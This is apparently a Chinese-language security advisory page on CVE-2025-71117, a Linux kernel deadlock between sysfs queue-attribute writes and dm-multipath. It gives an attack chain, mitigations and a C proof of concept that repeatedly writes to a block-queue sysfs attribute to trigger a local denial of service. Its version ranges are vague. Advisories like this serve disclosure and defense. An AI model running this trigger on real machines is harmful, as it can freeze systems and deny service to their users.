IPBUF安全漏洞报告
English
CVE-2025-71117 CVSS 5.5 中危

CVE-2025-71117 Linux内核块设备sysfs回调队列冻结死锁漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71117
漏洞类型
本地拒绝服务(死锁)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(块设备子系统)

相关标签

Linux Kernel块设备子系统sysfs死锁拒绝服务本地攻击dm-multipath请求队列冻结内核漏洞CVE-2025-71117

漏洞概述

CVE-2025-71117是Linux内核块设备子系统中的一个中等严重性漏洞。该漏洞源于sysfs存储回调函数中对请求队列的冻结操作,当与dm-multipath驱动和queue_if_no_path选项结合使用时,可能导致系统死锁。具体而言,在multipathd任务尝试设置设备映射器表限制并持有互斥锁的同时,udev-worker任务可能在sysfs属性存储回调中尝试冻结请求队列,从而形成循环等待条件。此外,频繁的请求队列冻结操作会显著拖慢系统启动速度,因为sysfs属性的设置通常是同步进行的。该漏洞影响io_poll_delay、io_timeout、nomerges、read_ahead_kb和rq_affinity等多个sysfs属性。攻击者可通过本地低权限账户触发此漏洞,造成系统可用性下降,表现为系统冻结或启动缓慢。CVSS 3.1评分为5.5(中等),主要影响可用性。

技术细节

漏洞根源在于Linux内核块子系统的sysfs store回调函数中调用了blk_mq_freeze_queue()和blk_mq_unfreeze_queue()来冻结请求队列。当用户空间程序(如udev)通过sysfs写入特定属性时,会触发queue_attr_store函数,进而调用相应的存储回调。以read_ahead_kb为例,queue_ra_store函数会调用blk_mq_freeze_queue_wait进行队列冻结。然而,如果此时multipathd守护进程正在执行dm_table_set_restrictions操作(持有相关互斥锁),系统将陷入死锁:multipathd等待I/O完成,而udev-worker等待队列冻结完成。攻击者可通过编写程序循环写入受影响的sysfs属性(如echo值>/sys/block/*/queue/read_ahead_kb)来触发此条件。该漏洞属于本地拒绝服务类型,攻击复杂度低,无需特殊用户交互,但需要低权限账户。修复方案为移除非必要回调中的队列冻结操作,并添加__data_racy注解以抑制KCSAN数据竞争警告。

攻击链分析

STEP 1
步骤1
攻击者获得系统低权限账户访问权限,可访问sysfs接口
STEP 2
步骤2
系统运行dm-multipath服务,配置了使用queue_if_no_path选项的设备映射器多路径设备
STEP 3
步骤3
攻击者通过循环写入sysfs块设备队列属性(如read_ahead_kb、io_timeout等)触发queue_attr_store回调
STEP 4
步骤4
sysfs回调执行blk_mq_freeze_queue()尝试冻结请求队列,进入等待状态
STEP 5
步骤5
同时multipathd守护进程执行dm_table_set_restrictions,持有相关互斥锁并尝试进行I/O操作
STEP 6
步骤6
形成死锁条件:multipathd等待I/O完成,udev-worker等待队列冻结完成,系统陷入冻结状态
STEP 7
步骤7
系统可用性完全丧失,表现为系统冻结或启动缓慢,需要重启才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <string.h> /* * CVE-2025-71117 PoC - Trigger deadlock in Linux kernel block sysfs callbacks * * This PoC demonstrates the deadlock condition by repeatedly writing to * sysfs queue attributes while a device-mapper multipath device is being * configured. * * Usage: ./poc <device_path> * Example: ./poc /sys/block/sda/queue/read_ahead_kb * * Note: This is for educational purposes only. The actual deadlock requires * specific conditions involving dm-multipath with queue_if_no_path option. */ #define QUEUE_VALUE "4096" #define LOOP_COUNT 1000000 int trigger_deadlock(const char *sysfs_path) { int fd; int count = 0; printf("Attempting to trigger deadlock condition...\n"); printf("Target: %s\n", sysfs_path); while (count < LOOP_COUNT) { fd = open(sysfs_path, O_WRONLY); if (fd < 0) { perror("Failed to open sysfs attribute"); return -1; } if (write(fd, QUEUE_VALUE, strlen(QUEUE_VALUE)) < 0) { /* Write failure may indicate deadlock or permission denied */ perror("Write failed - possible deadlock condition"); close(fd); break; } close(fd); count++; if (count % 10000 == 0) { printf("Iteration %d completed\n", count); } } printf("Completed %d iterations\n", count); return 0; } int main(int argc, char *argv[]) { const char *default_path = "/sys/block/sda/queue/read_ahead_kb"; const char *target_path; if (argc > 1) { target_path = argv[1]; } else { target_path = default_path; printf("Using default path: %s\n", default_path); } printf("=== CVE-2025-71117 Deadlock Trigger PoC ===\n"); printf("Vulnerability: Linux kernel sysfs queue freezing deadlock\n"); printf("CVSS: 5.5 (Medium)\n\n"); return trigger_deadlock(target_path); }

影响范围

Linux Kernel < 5.15(受影响的具体版本需查看git commit 3997b3147c7b68b0308378fa95a766015f8ceb1c和935a20d1bebf6236076785fac3ff81e3931834e9)
Linux Kernel 5.15.x - 6.x(包含受影响sysfs属性的所有版本)
Linux Kernel mainline(修复前版本)

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下措施临时缓解:1)限制非特权用户访问sysfs块设备属性;2)监控multipathd和udev-worker进程状态,及时发现死锁迹象;3)避免在系统启动时并行配置多路径设备和修改队列属性;4)考虑使用systemd依赖关系确保服务启动顺序正确;5)如发生死锁,可能需要通过硬件重启或Magic SysRq键恢复系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表